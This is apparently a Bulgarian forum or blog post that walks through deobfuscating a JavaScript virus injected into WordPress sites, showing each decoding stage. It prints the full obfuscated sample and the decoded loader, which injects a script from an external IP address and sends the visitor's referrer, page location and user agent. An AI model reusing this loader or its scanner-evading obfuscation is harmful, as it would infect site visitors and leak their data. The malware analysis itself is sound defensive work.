Пешо от HostBulgaria ме помоли да разкодирам един WordPress вирус, базиран на JavaScript, който е доста популярен на последък, за да разберем какво прави. Процесът е интересен и смятам да го опиша, а и може да е полезен за някого, който иска да разкодира други вируси, базирани на JS.
Ето го и вирусът:
Забелязваме, че първата променлива е масив от стойности, които са кодирани чрез JavaScript escapes. Разкодираме ги и получаваме това:
вече е доста по-малко, но също толкова грозно. Можем да направим променливите малко по-красиви, а не да се опитват да ни заблуждават, че са адреси в паметта. Първият масив го кръщаваме "x". Който има набито око ще забележи, че втората част от вируса е стандартна "p a c k e r" функция на JS. Преименуваме и тези променливи. Получава се това:
Вече е доста по-красиво. Започват да си личат имената на функциите и методите, които са използвани. Но за да го сглобим е необходимо да обединим двете части в едно. Тоест, във функцията да заместим елементите от първия масив. Получава се стандартна p a c k e r функция:
Това вече си има алгоритми за разкодиране, няма да навлизам в подробности. Оттук нататък е лесно. Крайният резултат, така упорито скрит от разработчика на вируса, е:
Вижда се откъде се зарежда вече същинската част от кода. Променливите са ни ги оставили малко грозни, но на мен така ми харесват в сравнение с това, което беше.
Надявам се да е полезно да се филтрира вирусът. Специфичното при него е, че всеки път променливите са с различни имена, по-точно различни префикси, с цел да не могат да го хванат скенерите. Тоест, всяко копие е уникално като изходен код.
Ето го и вирусът:
Код:
var _0х4470=["\х39\х3D\х31\х2E\х64\х28\х27\х35\х27\х29\х3B\х62\х28\х21\х39\х29\х7B\х38\х3D\х31\х2E\х6A\х3B\х34\х3D\х36\х28\х31\х2E\х69\х29\х3B\х37\х3D\х36\х28\х67\х2E\х6B\х29\х3B\х61\х20\х32\х3D\х31\х2E\х65\х28\х27\х63\х27\х29\х3B\х32\х2E\х66\х3D\х27\х35\х27\х3B\х32\х2E\х68\х3D\х27\х77\х3A\х2F\х2F\х74\х2E\х75\х2E\х6C\х2E\х76\х2F\х73\х2E\х72\х3F\х71\х3D\х27\х2B\х34\х2B\х27\х26\х6D\х3D\х27\х2B\х38\х2B\х27\х26\х6E\х3D\х27\х2B\х37\х3B\х61\х20\х33\х3D\х31\х2E\х6F\х28\х27\х33\х27\х29\х5B\х30\х5D\х3B\х33\х2E\х70\х28\х32\х29\х7D","\х7C","\х73\х70\х6C\х69\х74","\х7C\х64\х6F\х63\х75\х6D\х65\х6E\х74\х7C\х6A\х73\х7C\х68\х65\х61\х64\х7C\х68\х67\х68\х6A\х68\х6A\х68\х6A\х67\х7C\х64\х67\х6C\х6C\х68\х67\х75\х6B\х7C\х65\х73\х63\х61\х70\х65\х7C\х75\х67\х6B\х6B\х6A\х6B\х6A\х7C\х68\х67\х68\х6A\х67\х68\х6A\х68\х6A\х67\х6A\х68\х7C\х65\х6C\х65\х6D\х65\х6E\х74\х7C\х76\х61\х72\х7C\х69\х66\х7C\х73\х63\х72\х69\х70\х74\х7C\х67\х65\х74\х45\х6C\х65\х6D\х65\х6E\х74\х42\х79\х49\х64\х7C\х63\х72\х65\х61\х74\х65\х45\х6C\х65\х6D\х65\х6E\х74\х7C\х69\х64\х7C\х6E\х61\х76\х69\х67\х61\х74\х6F\х72\х7C\х73\х72\х63\х7C\х72\х65\х66\х65\х72\х72\х65\х72\х7C\х6C\х6F\х63\х61\х74\х69\х6F\х6E\х7C\х75\х73\х65\х72\х41\х67\х65\х6E\х74\х7C\х32\х31\х36\х7C\х6C\х63\х7C\х75\х61\х7C\х67\х65\х74\х45\х6C\х65\х6D\х65\х6E\х74\х73\х42\х79\х54\х61\х67\х4E\х61\х6D\х65\х7C\х61\х70\х70\х65\х6E\х64\х43\х68\х69\х6C\х64\х7C\х72\х65\х66\х7C\х70\х68\х70\х7C\х7C\х39\х31\х7C\х31\х39\х36\х7C\х36\х34\х7C\х68\х74\х74\х70","\х72\х65\х70\х6C\х61\х63\х65","","\х5C\х77\х2B","\х5C\х62","\х67"];
eval(function (_0хa064х1,_0хa064х2,_0хa064х3,_0хa064х4,_0хa064х5,_0хa064х6){_0хa064х5=function (_0хa064х3){return _0хa064х3.toString(36);} ;if(!_0х4470[5][_0х4470[4]](/^/,String)){while(_0хa064х3--){_0хa064х6[_0хa064х3.toString(_0хa064х2)]=_0хa064х4[_0хa064х3]||_0хa064х3.toString(_0хa064х2);} ;_0хa064х4=[function (_0хa064х5){return _0хa064х6[_0хa064х5];} ];_0хa064х5=function (){return _0х4470[6];} ;_0хa064х3=1;} ;while(_0хa064х3--){if(_0хa064х4[_0хa064х3]){_0хa064х1=_0хa064х1[_0х4470[4]]( new RegEхp(_0х4470[7]+_0хa064х5(_0хa064х3)+_0х4470[7],_0х4470[8]),_0хa064х4[_0хa064х3]);} ;} ;return _0хa064х1;} (_0х4470[0],33,33,_0х4470[3][_0х4470[2]](_0х4470[1]),0,{}));
Забелязваме, че първата променлива е масив от стойности, които са кодирани чрез JavaScript escapes. Разкодираме ги и получаваме това:
Код:
var _0х4470=["9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}","|","split","|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http","replace","","\w+","\b","g"];
eval(function(_0хa064х1,_0хa064х2,_0хa064х3,_0хa064х4,_0хa064х5,_0хa064х6){_0хa064х5=function (_0хa064х3){return _0хa064х3.toString(36);} ;if(!_0х4470[5][_0х4470[4]](/^/,String)){while(_0хa064х3--){_0хa064х6[_0хa064х3.toString(_0хa064х2)]=_0хa064х4[_0хa064х3]||_0хa064х3.toString(_0хa064х2);} ;_0хa064х4=[function (_0хa064х5){return _0хa064х6[_0хa064х5];} ];_0хa064х5=function (){return _0х4470[6];} ;_0хa064х3=1;} ;while(_0хa064х3--){if(_0хa064х4[_0хa064х3]){_0хa064х1=_0хa064х1[_0х4470[4]]( new RegEхp(_0х4470[7]+_0хa064х5(_0хa064х3)+_0х4470[7],_0х4470[8]),_0хa064х4[_0хa064х3]);} ;} ;return _0хa064х1;} (_0х4470[0],33,33,_0х4470[3][_0х4470[2]](_0х4470[1]),0,{}));
вече е доста по-малко, но също толкова грозно. Можем да направим променливите малко по-красиви, а не да се опитват да ни заблуждават, че са адреси в паметта. Първият масив го кръщаваме "x". Който има набито око ще забележи, че втората част от вируса е стандартна "p a c k e r" функция на JS. Преименуваме и тези променливи. Получава се това:
Код:
var x=["9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}","|","split","|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http","replace","","\w+","\b","g"];
eval(function(p,a,c,k,e,r){e=function (c){return c.toString(36);} ;if(!x[5][x[4]](/^/,String)){while(c--){r[c.toString(a)]=k[c]||c.toString(a);} ;k=[function (e){return r[e];} ];e=function (){return x[6];} ;c=1;} ;while(c--){if(k[c]){p=p[x[4]]( new RegExp(x[7]+e(c)+x[7],x[8]),k[c]);} ;} ;return p;} (x[0],33,33,x[3][x[2]](x[1]),0,{}));
Вече е доста по-красиво. Започват да си личат имената на функциите и методите, които са използвани. Но за да го сглобим е необходимо да обединим двете части в едно. Тоест, във функцията да заместим елементите от първия масив. Получава се стандартна p a c k e r функция:
Код:
eval(function(p,a,c,k,e,r){e=function (c){return c.toString(36);};if(!''.replace(/^/,String)){while(c--)r[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}("9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}",33,33,'|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http'.split('|'),0,{}))
Това вече си има алгоритми за разкодиране, няма да навлизам в подробности. Оттук нататък е лесно. Крайният резултат, така упорито скрит от разработчика на вируса, е:
Код:
element = document.getElementById('dgllhguk');
if (!element) {
hghjghjhjgjh = document.location;
hghjhjhjg = escape(document.referrer);
ugkkjkj = escape(navigator.userAgent);
var js = document.createElement('script');
js.id = 'dgllhguk';
js.src = 'http://91.196.216.64/s.php?ref=' + hghjhjhjg + '&lc=' + hghjghjhjgjh + '&ua=' + ugkkjkj;
var head = document.getElementsByTagName('head')[0];
head.appendChild(js)
}
Вижда се откъде се зарежда вече същинската част от кода. Променливите са ни ги оставили малко грозни, но на мен така ми харесват в сравнение с това, което беше.
Надявам се да е полезно да се филтрира вирусът. Специфичното при него е, че всеки път променливите са с различни имена, по-точно различни префикси, с цел да не могат да го хванат скенерите. Тоест, всяко копие е уникално като изходен код.
Последно редактирано: